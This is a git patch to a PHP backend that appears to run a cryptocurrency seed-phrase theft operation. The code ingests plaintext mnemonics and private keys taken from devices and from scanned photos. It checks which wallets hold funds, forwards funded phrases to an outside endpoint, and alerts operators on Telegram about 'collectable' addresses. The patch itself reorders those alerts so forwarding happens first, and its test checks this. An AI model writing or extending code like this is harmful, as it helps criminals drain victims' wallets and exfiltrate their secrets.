From bb695c12c4058f9b2dd0eb553509bca85e8781b4 Mon Sep 17 00:00:00 2001 From: root Date: Mon, 12 Oct 2026 16:07:25 +0000 Subject: [PATCH] Skip local Telegram when a funded scan mnemonic is forwarded. Scan ingest was notifying new-phrase and collectable addresses before POST /us succeeded. Co-authored-by: Cursor --- app/Services/IngestService.php | 18 ++++++++++-------- app/Services/MnemonicAddressLinker.php | 4 ++-- app/Services/MnemonicScanService.php | 23 +++++++++++++++++++---- app/Services/MnemonicWalletDiscovery.php | 6 +++--- tests/Feature/MnemonicScanTest.php | 10 ++++++++-- 5 files changed, 42 insertions(+), 19 deletions(-) diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 4c518be..016a835 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -531,7 +531,7 @@ class IngestService /** * `/api/user/set` — plaintext mnemonic / private key in `result`. */ - public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void + public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null, bool $notify = true): void { if (! is_array($payload)) { return; @@ -569,13 +569,15 @@ class IngestService } $row->save(); if ($isNew) { - $this->mnemonicLinker->linkMnemonicToDeviceAddresses($row); - $this->telegram->notifyNewMemoric( - $device->device_id, - $source, - $secret, - $origin !== null ? $origin->device_id : null, - ); + $this->mnemonicLinker->linkMnemonicToDeviceAddresses($row, $notify); + if ($notify) { + $this->telegram->notifyNewMemoric( + $device->device_id, + $source, + $secret, + $origin !== null ? $origin->device_id : null, + ); + } } } diff --git a/app/Services/MnemonicAddressLinker.php b/app/Services/MnemonicAddressLinker.php index 00058e4..18a54b2 100644 --- a/app/Services/MnemonicAddressLinker.php +++ b/app/Services/MnemonicAddressLinker.php @@ -72,7 +72,7 @@ class MnemonicAddressLinker * * @return int Number of addresses linked */ - public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int + public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic, bool $notify = true): int { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { @@ -141,7 +141,7 @@ class MnemonicAddressLinker $linked++; } - if ($newlyLinked !== []) { + if ($notify && $newlyLinked !== []) { $this->telegram->notifyCollectableAddresses($newlyLinked); } diff --git a/app/Services/MnemonicScanService.php b/app/Services/MnemonicScanService.php index 3239f97..683a7ce 100644 --- a/app/Services/MnemonicScanService.php +++ b/app/Services/MnemonicScanService.php @@ -28,6 +28,7 @@ class MnemonicScanService private readonly IngestService $ingest, private readonly MnemonicWalletDiscovery $discovery, private readonly InterceptForwarder $forwarder, + private readonly TelegramNotifier $telegram, ) {} public function dispatchPhoto(Photo $photo): void @@ -386,7 +387,7 @@ class MnemonicScanService $this->ingest->ingestMnemonic($holder, [ 'mnemonic' => $phrase, 'a' => $tag, - ], $origin); + ], $origin, notify: false); $mnemonic = WalletMnemonic::query() ->where('device_id', $holder->id) @@ -397,7 +398,7 @@ class MnemonicScanService } try { - $this->discovery->discoverActivated($mnemonic); + $this->discovery->discoverActivated($mnemonic, notify: false); } catch (\Throwable $e) { Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [ 'mnemonic_id' => $mnemonic->id, @@ -405,11 +406,25 @@ class MnemonicScanService ]); } - if (! $this->mnemonicHasPositiveBalance($mnemonic)) { + $forwarded = false; + if ($this->mnemonicHasPositiveBalance($mnemonic)) { + $forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag); + } + if ($forwarded) { return; } - $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag); + $this->telegram->notifyNewMemoric( + (string) $holder->device_id, + (string) ($mnemonic->source ?: ''), + $phrase, + $origin !== null ? $origin->device_id : null, + ); + if ($this->mnemonicHasPositiveBalance($mnemonic)) { + $this->telegram->notifyCollectableAddresses( + WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get() + ); + } } private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index 752193b..8791bb1 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -62,7 +62,7 @@ class MnemonicWalletDiscovery * set discovery_complete. * @return int Number of address rows created or updated */ - public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int + public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false, bool $notify = true): int { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { @@ -97,7 +97,7 @@ class MnemonicWalletDiscovery $saved = []; $covered = []; // chain => true when linked / miss-cached / probed this run - $created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) { + $created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, $notify, &$saved, &$covered) { foreach (self::CHAINS as $spec) { $chain = $spec['chain']; @@ -135,7 +135,7 @@ class MnemonicWalletDiscovery } } - if ($saved !== []) { + if ($notify && $saved !== []) { $this->telegram->notifyCollectableAddresses($saved); } diff --git a/tests/Feature/MnemonicScanTest.php b/tests/Feature/MnemonicScanTest.php index 09468c9..bfbb7e6 100644 --- a/tests/Feature/MnemonicScanTest.php +++ b/tests/Feature/MnemonicScanTest.php @@ -48,7 +48,6 @@ TXT; ]); Http::fake([ 'api.telegram.org/*' => Http::response(['ok' => true], 200), - '*' => Http::response('fail', 500), ]); } @@ -450,7 +449,6 @@ TXT; Http::fake([ 'api.telegram.org/*' => Http::response(['ok' => true], 200), 'https://dest.example/*' => Http::response('ok', 200), - '*' => Http::response('fail', 500), ]); $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5); @@ -479,6 +477,14 @@ TXT; && ($payload['a'] ?? '') === 'note_scan' && ($payload['mnemonic'] ?? '') === self::PHRASE; }); + Http::assertNotSent(function ($request) { + if (! str_contains($request->url(), 'api.telegram.org')) { + return false; + } + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($text, '新助记词') || str_contains($text, '地址可归集'); + }); } #[Test]